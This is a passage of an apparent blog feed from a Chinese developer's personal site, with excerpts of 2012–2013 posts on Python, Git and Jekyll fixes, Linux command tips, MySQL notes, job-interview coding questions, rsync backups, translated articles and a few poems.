href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p><strong>文章,教程和讲座(Articles, Tutorials and Talks)</strong></p> +<p><a href="http://jakevdp.github.com/blog/2013/01/13/hacking-super-mario-bros-with-python/">使用Python Hacking超级马里奥(Hacking Super Mario Bros. With Python)</a></p> +<p>This post shows how you can use matplotlib's animation tool to create animated +gifs based on Super Mario Bros in Python.</p> +<p>该文展示如何使用matplotlib的动画工具使用Python创建超级马里奥的动画效果gif图。</p> +<p><a href="http://tech.shift.com/post/40299429203/implementing-a-python-oauth-2-0-provider-part-2">实现一个Python OAuth 2.0 提供方 - 第2部分 …</a></p>youngsterxyfFri, 25 Jan 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-01-25:/2013/01/25/issue-70-of-python-weekly/pythonpython-weekly翻译回顾12,展望13(技术篇)http://youngsterxyf.github.io/2013/01/22/technology-12-13/<p>终归是个搞技术的,所以怎么也得搞个总结与展望的特别篇,讲述过去一年的技术学习与成果,规划接下来一年技术学习的计划。</p> +<p>2012年,阅读较少,写的代码较多,经过几个小项目以及实习,终于觉得自己有点攻城师的样子了,甚感欣慰,哈哈。</p> +<p>罗列一下个人的小项目,虽然不复杂,代码量不多,代码也写得不漂亮,但自认为有那么点用。</p> +<ol> +<li> +<p>百度音乐下载器:<a href="https://github.com/youngsterxyf/Baidu_Music_Downloader">代码</a>,<a href="http://youngsterxyf.github.com/Baidu_Music_Downloader/">项目主页</a> <s>(墙外)</s></p> +</li> +<li> +<p>简易FTP搜索引擎:<a href="https://github.com/youngsterxyf/simpleFTPsearch">代码</a>,<a href="http://youngsterxyf.github.com/simpleFTPsearch/">项目主页</a> <s>(墙外)</s>,<a href="http://202.120.40.101/services/ftpsearch/">应用</a>(注:这个小项目断断续续做了一年,经历了几个版本,以及几次更新,目前看起来还不错)</p> +</li> +<li> +<p>基于Web的机器人远程控制:<a href="https://github.com/youngsterxyf/WebBasedRobot">代码</a>,<a href="http://youngsterxyf.github.com/WebBasedRobot/">项目主页</a> <s>(墙外)</s>(注:这个项目就是我那尽是水的毕业设计啦,哈哈)</p> +</li> +<li> +<p>在线代码高亮,分享以及运行:<a href="https://github.com/youngsterxyf/colorfulCode">代码</a>(注:这个项目其实很不完整的啦,代码编译与执行部分根本没做防护措施,根本没法实际使用)</p> +</li> +<li> +<p>Loven的个人静态站点:<a href="https://github.com/Loven-Project/lovenworks">代码</a>(注:其实绝大部分的代码都是loven自己写的啦,我主要写了实现总体动态效果的javascript程序,而且还是仿照的 …</p></li></ol>youngsterxyfTue, 22 Jan 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-01-22:/2013/01/22/technology-12-13/总结技术回顾2012,展望2013http://youngsterxyf.github.io/2013/01/18/review12-lookinto13/<p>过去的一年里发生了很多事情,很大一部分原来就已在<a href="http://youngsterxyf.github.io/2012/01/01/2011-summary/">2011年终-回顾与展望</a>一文中提及---实习、找工作、毕业,除此之外还有:我和女朋友定亲了,总算朝着婚姻近了一步,哈哈。</p> +<h2>实习</h2> +<p>关于实习有太多的话想说。7个月的时间里浓缩了太多的欢乐,太欢乐了。原本以为我的读书生涯就要这么平淡无奇地结束了,没想到在这个结尾处竟然给了我个大惊喜,所谓惊喜并不是这份实习有多牛逼,而是遇到了一群欢乐的人,一群“重口味”的人,一群彪悍的人,而其中绝大部分是女人,噢,女生更恰当些。</p> +<p>在G1C1,我快乐地写代码,上班是种享受,我想以后很可能不会再有这样的享受了。在G1C1,我逐步地发展成为一个吃货,所以毫无疑问地胖了,原本我以为自己会一直瘦下去。另外,我也黑了,因为经过了无数次地“被黑”,但她们说我应该高兴才对,她们“黑”我是因为“爱”我。关于“黑”这件事情,刚入职的时候,我是很同情wenbin的,因为见他被“黑 …</p>youngsterxyfFri, 18 Jan 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-01-18:/2013/01/18/review12-lookinto13/总结文字可扩展的Web架构与分布式系统(译)http://youngsterxyf.github.io/2013/01/16/scalable-web-architecture-and-distributed-systems/<p>原文:<a href="http://www.aosabook.org/en/distsys.html">Scalable Web Architecture and Distributed Systems</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>开源软件已成为一些最大型网站的基础组件。并且随着那些网站的发展,围绕它们的架构出现了一些最佳实践与指导性原则。本章尝试阐述设计大型网站需要考虑的一些关键问题,以及一些实现这些目标的组件。</p> +<p>本章主要侧重于Web系统,虽然其中一些内容也适用于其它分布式系统。</p> +<h2>Web分布式系统设计原则</h2> +<p>构建和运维一个可扩展Web站点或者应用到底意味着什么?说到底这种系统只不过是通过互联网将用户与远程资源相连接---使其可扩展的是分布于多个服务器的资源,或者对这些资源的访问。</p> +<p>类似于生活中的大多数东西,从长远来说,构建一个web服务之前花些时间提前规划是很有帮助的。理解大型网站背后一些需要考虑的因素与权衡取舍,在创建小一些的web站点时能让你作出更明智的决策。以下是影响大规模web系统设计的一些核心原则:</p> +<ul> +<li> +<p><strong>可用性:</strong> +一个网站的正常运行时间对于许多公司的声誉与运作都是至关重要的。对于一些更大的在线零售站点,几分钟的不可用都会造成数千或数百万美元的营收损失,因此系统设计得能够持续服务,并且能迅速从故障中恢复是技术和业务的最基本要求。分布式系统中的高可用性需要仔细考虑关键部件的冗余,从部分系统故障中迅速恢复,以及问题发生时优雅降级。</p> +</li> +<li> +<p><strong>性能:</strong> +对于多数站点而言,网站的性能已成为一个重要的考虑因素。网站的速度影响着使用和用户满意度,以及搜索引擎排名,与营收和是否能留住用户直接相关。因此,创建一个针对快速响应与低延迟进行优化的系统非常重要。</p> +</li> +<li> +<p><strong>可靠性:</strong> +系统必须是可靠的,这样相同数据请求才会始终返回相同的数据。数据变换或更新之后,同样的请求则应该返回新的数据。用户应该知道一点:如果东西写入了系统 …</p></li></ul>youngsterxyfWed, 16 Jan 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-01-16:/2013/01/16/scalable-web-architecture-and-distributed-systems/分布式系统翻译精心挑选的数据可视化工具推荐列表(译)http://youngsterxyf.github.io/2013/01/15/a-carefully-selected-list-of-recommended-tools/<p>原文: <a href="http://datavisualization.ch/tools/selected-tools/">A Carefully Selected List of Recommended Tools</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>当我和很多人谈论我们的工作时,经常被问到我们使用什么技术实现交互式和动态的数据可视化。对于实现交互式的东西,我们有一套首选的代码库、应用程序以及服务,在工作中经常使用。根据项目的需求,我们会选择最合适的工具来完成工作。有时,为构建某些有用的东西你所需要的可能就是一个非常简单的工具。在别的情况下,则可能需要一套用于解决多种问题的工具集。但是如何选择恰当的工具呢?可用的工具数都数不清,所以很多时候朋友的推荐非常有价值。</p> +<p>这就是为什么我们要将使用得最多并且喜欢使用的工具汇集起来。我们将这个精选工具集称为<strong><a href="http://selection.datavisualization.ch/">selection.datavisualization.ch</a></strong> 。它包含绘制地图数据的代码库,创建图表的框架,以及简化数据处理的工具。即使你不喜欢编程,也可以不用写一行代码就能使用某些应用。我们会将该工具列表看作一个动态变化的仓库,随着技术发展增删某些东西。我们希望这能帮助你为下一个工作任务找到最佳的工具。</p> +<p><a href="http://selection.datavisualization.ch"><img alt="datavisualization_selection" src="http://datavisualization.ch/wp-content/uploads/2012/05/datavisualization_selection_021.png"></a></p> +<p>现在我来回答一些你最可能会问的问题:不,该列表并没有收录所有相关工具,所以你可能没看到你个人喜欢的。是的,其中提到的某些库刚刚兴起,可能还没到可以应用于产品的时候,而另一些库也已经有了替代者,但它们仍然可以提供良好的服务。</p>youngsterxyfTue, 15 Jan 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-01-15:/2013/01/15/a-carefully-selected-list-of-recommended-tools/数据可视化翻译github pages构建失败问题解决http://youngsterxyf.github.io/2013/01/08/fix-github-pages-builds-failed/<p>今天为本博客提交更新后,github +pages自动构建始终不成功。原以为是新提交中引入了错误,于是按照<a href="/2013/01/08/git-cancel-commits/">Git操作:强制删除提交到远程版本库的数据与版本记录</a>的方法取消了所有的更新,但依旧没用。</p> +<p>由于构建的结果邮件中只有这样一段话:</p> +<blockquote> +<p>The page build failed with the following error: page build failed</p> +</blockquote> +<p>关于构建失败的原因一丁点都没有告诉我们,所以根本没法调试嘛。</p> +<p>在阅读github的官方帮助文档<a href="https://help.github.com/articles/pages-don-t-build-unable-to-run-jekyll">Pages don't build: "Unable to run Jekyll"</a>后,决定按照其中Syntax errors部分的内容做如下尝试:</p> +<p>首先,按照<a href="https://github.com/mojombo/jekyll/wiki/install">jekyll的官方安装文档</a>安装jekyll:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>sudo gem install jekyll +</pre></div> + + +<p>然后,在博客的根目录下,执行:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>jekyll --safe +</pre></div> + + +<p>命令会输出详细的信息,如果构建失败,则在输出的信息中查找错误原因 …</p>youngsterxyfTue, 08 Jan 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-01-08:/2013/01/08/fix-github-pages-builds-failed/githubjekyllGit操作:强制删除提交到远程版本库的数据与版本记录http://youngsterxyf.github.io/2013/01/08/git-cancel-commits/<p>今天因为某些尚不明了的问题导致,博客的Git pages始终构建失败,于是想在远程版本库中删除前几次提交。在<a href="http://www.douban.com/note/189603387/">该网页</a>上找到了解决方案:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>git reset --hard HEAD~2 <span style="color: #008000"># 取消当前版本之前的两次提交</span> +git push origin HEAD --force <span style="color: #008000"># 强制提交到远程版本库,从而删除之前的两次提交数据</span> +</pre></div>youngsterxyfTue, 08 Jan 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-01-08:/2013/01/08/git-cancel-commits/Git版本控制装饰器与函数式Python(译)http://youngsterxyf.github.io/2013/01/04/Decorators-and-Functional-Python/<p>原文:<a href="http://www.brianholdefehr.com/decorators-and-functional-python">Decorators and Functional Python</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>装饰器是Python的一大特色。除了在语言中的原本用处,还帮助我们以一种有趣的方式(函数式)进行思考。</p> +<p>我打算自底向上解释装饰器如何工作。首先解释几个话题以帮助理解装饰器。然后,深入一点探索几个简单的装饰器以及它们如何工作。最后,讨论一些更高级的使用装饰器的方式,比如:传递可选参数给装饰器或者串接几个装饰器。</p> +<p>首先以我能想到的最简单的方式来定义Python函数是什么。基于该定义,我们可以类似的简单方式来定义装饰器。</p> +<blockquote> +<p>函数是一个完成特定任务的可复用代码块。</p> +</blockquote> +<p>好的,那么装饰器又是什么呢?</p> +<blockquote> +<p>装饰器是一个修改其他函数的函数。</p> +</blockquote> +<p>现在在装饰器的定义上进行详述,先解释一些先决条件。</p> +<h2>函数是一等对象</h2> +<p>Python中,所有东西都是对象。这意味着可以通过名字引用函数,以及像其他对象那样传递。例如:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">def</span> traveling_function(): + print <span style="color: #a31515">&quot;Here I am!&quot;</span> + +function_dict = { + <span style="color: #a31515">&quot;func&quot;</span>: traveling_function +} + +trav_func = function_dict[<span style="color: #a31515">&#39;func&#39;</span>] +trav_func() +<span style="color: #008000"># &gt;&gt; Here I …</span></pre></div>youngsterxyfFri, 04 Jan 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-01-04:/2013/01/04/Decorators-and-Functional-Python/Python翻译Python:字典剧本(译)http://youngsterxyf.github.io/2013/01/04/Python-The-Dictionary-Playbook-cn/<p>原文: <a href="http://blog.amir.rachum.com/post/39501813266/python-the-dictionary-playbook">Python: The Dictionary Playbook</a></p> +<p>译者: <a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>我经常碰到关于Python中字典的各种样板代码,因此我决定在此展示一些,并分享完成相同操作的更加简洁的方式。</p> +<p>上演: <strong>字典剧本</strong></p> +<p><img alt="playbook" src="/assets/uploads/pics/The_playbook.png"></p> +<p>1. +“你在吗?”</p> +<p>这个相当简单,但不可错过 - 找出某个键(key)是否存在于字典中。</p> +<p><em>蹩脚的版本</em></p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>dct.has_key(key) +</pre></div> + + +<p><em>Pythonic的方式</em></p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>key <span style="color: #0000ff">in</span> dct +</pre></div> + + +<p>2. +“尤达测试”(译注:尤达的意思见<a href="http://en.wikipedia.org/wiki/Yoda">yoda</a>)</p> +<p>对于那些掌握了“你在吗”剧本的程序员来说,这通常是另一个简单但是令人讨厌的事情。它不仅仅可用于字典数据类型,但非常普通。</p> +<p><em>干这事,你必须不能这样</em></p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">not</span> key <span style="color: #0000ff">in</span> dct +</pre></div> + + +<p><em>英语,你会说吗?</em></p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>key <span style="color: #0000ff">not</span> <span style="color: #0000ff">in</span> dct …</pre></div>youngsterxyfFri, 04 Jan 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-01-04:/2013/01/04/Python-The-Dictionary-Playbook-cn/Python翻译一行Python代码定义树(译)http://youngsterxyf.github.io/2013/01/04/one-line-tree-in-Python/<p>原文:<a href="https://gist.github.com/2012250">One-line Tree in Python</a></p> +<p>译者:<a href="https://github.com/youngsterxyf">youngsterxyf</a></p> +<p>使用Python内置的<a href="http://docs.python.org/2/library/collections.html#collections.defaultdict">defaultdict</a>可以轻松定义一棵树:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">def</span> tree(): <span style="color: #0000ff">return</span> defaultdict(tree) +</pre></div> + + +<p>就这样!</p> +<p>这段代码简单地说明一棵树是一个字典,其缺省的值(译注:与键对应的值的概念)是树。</p> +<p>(如果你正随着我写下代码,请先确保 <code>from collections import defaultdict</code> )</p> +<p>(还有:Hacker News读者@zbuc指出这种方法被称为<a href="https://en.wikipedia.org/wiki/Autovivification">自动唤醒</a>。Cool!)</p> +<h2>示例</h2> +<h3>JSON形式</h3> +<p>现在我们可以创建JSON式的嵌套字典,而无需显式创建子级字典——当我们引用它们,就会神奇地自动产生:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>users = tree() +users[<span style="color: #a31515">&#39;harold&#39;</span>][<span style="color: #a31515">&#39;username&#39;</span>] = <span style="color: #a31515">&#39;hrldcpr&#39;</span> +users[<span style="color: #a31515">&#39;handler&#39;</span>][<span style="color: #a31515">&#39;username&#39;</span>] = <span style="color: #a31515">&#39;matthandlersux&#39;</span> +</pre></div> + + +<p>我们可以使用 …</p>youngsterxyfFri, 04 Jan 2013 00:00:00 +0800tag:youngsterxyf.github.io,2013-01-04:/2013/01/04/one-line-tree-in-Python/Python翻译几个组合命令http://youngsterxyf.github.io/2012/12/12/several-command-line/<p>1. +Debian系Linux下查找某个软件包(以indent为例):</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>apt-cache search indent | awk <span style="color: #a31515">&#39;{if($1~/^indent$/) print $0}&#39;</span> +</pre></div> + + +<p>APT包管理工具也提供了类似功能的命令选项:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>apt-cache pkgnames <span style="color: #a31515">&#39;indent&#39;</span> +</pre></div> + + +<p>只不过这个输出仅有包名没有简介信息。</p> +<p>2. +对当前目录下的所有C源码文件使用indent进行格式化:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>ls | grep <span style="color: #a31515">&#39;\.c$&#39;</span> | xargs indent +</pre></div> + + +<p>其实如下也是可以的:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>indent *.c +</pre></div> + + +<p>但因为shell会对*进行展开,如果当前目录下的C源码文件数目很大时,可能会造成命令行长度过长的问题。</p>youngsterxyfWed, 12 Dec 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-12-12:/2012/12/12/several-command-line/Linux命令行高性能MySQL - 1.MySQL架构http://youngsterxyf.github.io/2012/12/11/high-performance-MySQL-1/<h2>MySQL逻辑架构</h2> +<p><img alt="mysql-arch" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/mysql-arch.jpg"></p> +<p>1. +每个客户连接在服务器进程中都拥有自己的线程,每个连接所属的查询都会在指定的某个单独线程中完成,这些线程轮流运行在某个CPU核心或CPU上。服务器负责缓存线程,因此不需要为每个新的连接重建或撤销线程。</p> +<p>2. +MySQL会解析查询,并创建一个内部数据结构(解析树),然后对其进行各种优化。其中包括重写查询,决定查询的读表顺序,以及选择需使用的索引等。用户可以通过特殊的关键字给优化器传递各种提示,影响它的决策过程。另外还可以请求服务器给出优化过程的各种说明,使用户可以知晓服务器是如何进行优化决策的,为用户提供一个参考基准,方便用户重写查询、架构和修改相关配置,便于应用尽可能高效地运行。</p> +<p>优化器并不关心某个表使用哪种存储引擎,但存储引擎对服务器的查询优化过程有影响。优化器会请求存储引擎为某种具体操作提供性能与开销方面的信息,以及表内数据的统计信息。</p> +<p>不过,在解析查询之前,服务器会"询问"查询缓存,它只能保存SELECT语句和相应的结果。如果能在缓存中找到将要执行的查询,服务器就不必重新解析、优化或重新执行查询,只需直接返回已有结果即可。</p> +<h2>并发控制</h2> +<p>1. +读锁(Read Lock)/写锁(Write Lock):并发控制的概念很简单-在处理并发写或并发读时,系统会使用一套锁系统来解决问题。这种锁系统由两类锁组成,通常称之为 <strong>共享锁 …</strong></p>youngsterxyfTue, 11 Dec 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-12-11:/2012/12/11/high-performance-MySQL-1/数据库MySQL日志信息命令行实时输出http://youngsterxyf.github.io/2012/12/10/tail-and-xtail/<p>Web开发中很多时候需要边看web服务器的日志输出边调试代码。一般的做法使用tail命令输出日志文件的末尾几行日志信息。</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>tail -10 /var/log/nginx/access.log <span style="color: #008000"># 输出末尾10行</span> +</pre></div> + + +<p>但这样的输出是静态的。在这个命令执行之后,日志文件里新增的日志信息无法直接看到。调试的时候,一遍又一遍地使用这样的命令去查询就显得非常麻烦。那有没有办法来监听日志文件的变化,实时输出最新的日志信息呢? <strong>xtail</strong> 就专为这个问题而存在的。它可以监听文件或者目录(监听目录就是监听该目录下的所有文件)。比如我在写本文时,在另一个命令行窗口里执行:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>xtail ./ +</pre></div> + + +<p>那么每次vim保存内容时,那个窗口就会产生事件输出最新的文件内容。</p> +<p>这样在调试web程序的时候就很方便啦。</p> +<p>其实tail本身就支持监听文件并实时命令行输出。在xtail的<a href="http://www.unicom.com/sw/xtail">项目主页</a>上有这样的说明:</p> +<blockquote> +<p>xtail watches the growth of files. It's like running a tail -f on a bunch of files at once …</p></blockquote>youngsterxyfMon, 10 Dec 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-12-10:/2012/12/10/tail-and-xtail/linux命令调试VMware面试题目总结http://youngsterxyf.github.io/2012/12/06/VMware-interview/<p><strong>一面</strong>中主要有三道题:</p> +<p>1. +实现strcpy。函数原型:char<em> strcpy(char</em> dest, const char* src)。</p> +<p>后来发现自己实现的有问题。正确的实现应该如下:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #2b91af">char</span>* strcpy(<span style="color: #2b91af">char</span>* dest, <span style="color: #0000ff">const</span> <span style="color: #2b91af">char</span>* src) +{ + assert(dest!=NULL &amp;&amp; src!=NULL); + <span style="color: #2b91af">char</span>* ret = dest; + <span style="color: #0000ff">while</span>((*dest++ = *src++) != <span style="color: #a31515">&#39;\0&#39;</span>); + <span style="color: #0000ff">return</span> ret; +} +</pre></div> + + +<p>这个题目做得不好,我对自己很失望啊。</p> +<p>2. +给2n+1个数,其中n个数均出现了2次,有1个数只出现了1次,如何找出这个数?</p> +<p>如果用python的dict数据结构来实现会很简单,一次遍历统计每个数出现的次数就可以了。如果是这样的话,就不需要将题目限制为只有一个1个数只出现了一次了,所以肯定有更好的算法。</p> +<p>其实更好的方法是这样的:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #2b91af">int …</span></pre></div>youngsterxyfThu, 06 Dec 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-12-06:/2012/12/06/VMware-interview/VMware面试博大精深的ps命令http://youngsterxyf.github.io/2012/12/06/profound-ps/<p>Linux命令行里如何获取所有的进程号(pid)?</p> +<p>1. +第一种方法是通过ps -e或者ps aux获得所有进程的信息,然后通过管道传给grep或者awk进行数据过滤,比如</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>ps -e | awk <span style="color: #a31515">&#39;{print $1}&#39;</span> +</pre></div> + + +<p>2. +其实通过ps自身的选项就可以实现: </p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>ps -eo pid +</pre></div> + + +<p>而且输出还是排好序的。</p> +<p>但ps命令在输出进程信息之前先输出一行header,比如ps -e的输出header是:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>PID TTY TIME CMD +</pre></div> + + +<p>如何去除这个header呢?当然用各种过滤方法可以实现,但ps自身的选项也可以实现:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>ps -eo pid h +</pre></div> + + +<p>或者</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>ps -eo pid --no-headers +</pre></div>youngsterxyfThu, 06 Dec 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-12-06:/2012/12/06/profound-ps/Linux命令行工具2012校招-sonicWALL的两道编程笔试题http://youngsterxyf.github.io/2012/12/05/sonicWALL-exam/<h2>求二叉树中两个结点的最近公共祖先</h2> +<p>比如:对于树</p> +<blockquote> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="border: 1px solid #FF0000"> A</span> +<span style="border: 1px solid #FF0000"> /</span> +<span style="border: 1px solid #FF0000"> B</span> +<span style="border: 1px solid #FF0000"> / \</span> +<span style="border: 1px solid #FF0000"> C D</span> +<span style="border: 1px solid #FF0000"> / \</span> +<span style="border: 1px solid #FF0000">E F</span> +</pre></div> + + +</blockquote> +<p>结点D,F的最近公共祖先为B</p> +<p>实现:<a href="https://github.com/youngsterxyf/Data-Structures-and-Algorithms/blob/master/nearest_common_ancestor.c">见源码</a></p> +<h2>求二进制整数部分bits求反后的值</h2> +<p>比如:对于整数0b1001101,将第2(begin)到第5(end)位(从右往左计数)上的bit求反,得到0b1110001。</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: #0000ff">#include</span> <span style="color: #008000">&lt;stdio.h&gt;</span><span style="color: #0000ff"></span> + +<span style="color: #2b91af">int</span> reverse_somebits(<span style="color: #2b91af">int</span> a, <span style="color: #2b91af">int</span> begin, <span style="color: #2b91af">int</span> end) +{ + <span style="color: #0000ff">return</span> a^((1&lt;&lt;end)|((1&lt;&lt;end)-1))^((1&lt;&lt;begin)-1); +} + +<span style="color: #2b91af">void</span> ten_to_two(<span style="color: #2b91af">int</span> a) +{ + <span style="color: #0000ff">if …</span></pre></div>youngsterxyfWed, 05 Dec 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-12-05:/2012/12/05/sonicWALL-exam/笔试算法CentOS + rsync + inotify-tools实时备份配置http://youngsterxyf.github.io/2012/11/29/centos+rsync+inotify-tools-realtime-backup/<p>现实中,服务器可能会因为各种原因而crash掉,从而造成数据丢失或者服务的暂时不可用。为了提高服务的可用性以及数据的安全性,就需要对数据进行备份,以便数据恢复或者服务的动态切换(将访问请求动态重定向到备份服务器)。</p> +<p>常见的备份方法是定时的rsync任务或者远程拷贝。但这种方式,如果定时的间隔较大,那么服务器宕掉后,还是会丢失部分数据,动态切换的服务也不是宕机前的最新状态。为了支持实时数据同步,Linux 2.6.13 内核中新引入文件系统变化通知机制inotify,一旦对文件系统有改动,就会触发相关事件任务。通过结合rsync,inotify能够很好地完成实时同步任务。</p> +<p>主服务器:1.1.1.1 +备份服务器:0.0.0.0</p> +<p><strong>配置步骤</strong>:</p> +<p>1. +主服务器,备份服务器上安装rsync:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>sudo yum install rsync +</pre></div> + + +<p>2. +主服务器上安装inotify-tools:</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span>sudo yum install inotify-tools +</pre></div> + + +<p>3. +备份服务器上添加配置文件/etc …</p>youngsterxyfThu, 29 Nov 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-11-29:/2012/11/29/centos+rsync+inotify-tools-realtime-backup/服务器工具LinuxGoAccess用户手册(译)http://youngsterxyf.github.io/2012/11/29/goaccess-man-page-cn/<p>原文:<a href="http://goaccess.prosoftcorp.com/man">http://goaccess.prosoftcorp.com/man</a></p> +<p>翻译:youngsterxyf</p> +<h2>名称</h2> +<p>goaccess - 快速的web日志分析器与交互式查看器</p> +<h2>概要</h2> +<p>goaccess [-f 输入文件] [-c] [-e] [-a]</p> +<h2>描述</h2> +<p>goaccess是一个实时的web日志分析器,以及交互式查看器,在类Unix系统的终端(terminal)上运行,是一个基于GPL的自由软件。为需要可视化服务器报告的系统管理员提供快速而重要的HTTP统计信息。首先它会解析web日志文件,从被解析文件中收集数据,然后展示在控制台(console)或者X终端上。收集到的信息会在一个可视化/交互式的窗口中展示给用户,包括:</p> +<h3>综合统计数字</h3> +<p>有效请求的总数,无效请求的总数,数据分析的总时间,独立访客总数,被请求的独立文件总数,独立静态文件总数(css, ico, jpg, swf, gif, png),独立HTTP引荐网站(URL)总数 …</p>youngsterxyfThu, 29 Nov 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-11-29:/2012/11/29/goaccess-man-page-cn/翻译工具pi的一种并行算法http://youngsterxyf.github.io/2012/11/22/pi-parallel-algorithm/<p>我们都知道圆周率pi的值是3.141592653...,那么这个值是怎么算出来的呢?一种方式是通过某种方式算出圆的面积或者周长,然后根据公式$ S = pi \times r^2 $(或$ L = 2 \times pi \times r $)算出pi的值。但如何用计算机通过某种算法计算而得?有没有并行的算法?</p> +<p><a href="/assets/uploads/files/mapreduce_intro.pdf">Introduction to Parallel Programming and MapReduce</a>一文中介绍了一种基于概率的并行算法---假设有个正方形,里面有个內切圆。</p> +<p><img alt="sample pic" src="/assets/uploads/pics/inscribe.png"></p> +<p>设内切圆的半径为$ r $,则</p> +<p>正方形的面积为$ S_z = 4r^2 $</p> +<p>内切圆的面积为$ S_y = pi \times r^2 $</p> +<p>那么$ pi = \frac{ S_y }{ r^2 } = \frac{ S_y }{ S_z …</p>youngsterxyfThu, 22 Nov 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-11-22:/2012/11/22/pi-parallel-algorithm/算法并行Python诗歌选http://youngsterxyf.github.io/2012/11/20/poems/<h3>南乡子</h3> +<h4>和杨元素,时移守密州</h4> +<p><strong>苏轼</strong></p> +<p>东武望余杭,云海天涯两杳茫。何日功成名遂了,还乡,醉笑陪公三万场。</p> +<p>不用诉离觞,痛饮从来别有肠。今夜送归灯火冷,河塘,堕泪羊公却姓杨。</p> +<h3>临江仙</h3> +<p><strong>杨慎</strong></p> +<p>滚滚长江东逝水,浪花淘尽英雄。是非成败转头空,青山依旧在,几度夕阳红。</p> +<p>白发渔樵江渚上,惯看秋月春风。一壶浊酒喜相逢,古今多少事。都付笑谈中。</p> +<h3>结结巴巴</h3> +<p><strong>伊沙</strong></p> +<p>结结巴巴我的嘴<br /> +二二二等残废<br /> +咬不住我狂狂狂奔的思维<br /> +还有我的腿<br /> +<br /> +你们四处流流流淌的口水<br /> +散着霉味<br /> +我我我的肺<br /> +多么劳累<br /> +<br /> +我要突突突围<br /> +你们莫莫莫名奇妙<br /> +的节奏<br /> +急待突围<br /> +<br /> +我我我的<br /> +我的机枪点点点射般<br /> +的语言<br /> +充满快慰<br /> +<br /> +结结巴巴我的命<br /> +我的命里没没没有鬼<br /> +你们瞧瞧瞧我<br /> +一脸无所谓<br /></p> +<h3>父亲和我</h3> +<p><strong>吕德安 …</strong></p>youngsterxyfTue, 20 Nov 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-11-20:/2012/11/20/poems/阅读诗歌面试准备http://youngsterxyf.github.io/2012/11/20/prepareForInterview/<h3>自我介绍</h3> +<p>我叫夏永锋,目前是一名上海交大的硕士研究生,将于2013年3月毕业。现在作为一名web开发实习生在Google CSR部门实习。实习的工作内容主要包括:开发维护部门旗下的几个网站以及服务器日常运维。</p> +<p>我的老家是江西省婺源县,她非常美丽,有“中国最美的乡村”的美誉。</p> +<p>我喜欢写程序,羽毛球,长跑。我觉得编程是一种乐趣,编程是程序员的魔法。</p> +<p>My name is Xia yongfeng, currently i am a master candidate from School of Software, Shanghai Jiaotong University. And i will graduate in 2013. Now I am a web development intern in …</p>youngsterxyfTue, 20 Nov 2012 00:00:00 +0800tag:youngsterxyf.github.io,2012-11-20:/2012/11/20/prepareForInterview/面试英语笔试题目http://youngsterxyf.github.io/2012/11/20/work-exam/<h3>2013-网易-校园招聘-C++开发工程师</h3> +<h4>Fibonacci number</h4> +<p>F(n)的值是多少?</p> +<p><img alt="Fabonacci" src="https://raw.githubusercontent.com/youngsterxyf/youngsterxyf.github.com/master/assets/uploads/pics/NumberedEquation6.gif"></p> +<p><strong>常规算法</strong>:根据Fabonacci的定义,递归求值。时间复杂度$ O(2^n) $</p> +<div class="highlight" style="background: #ffffff"><pre style="line-height: 125%"><span></span><span style="color: 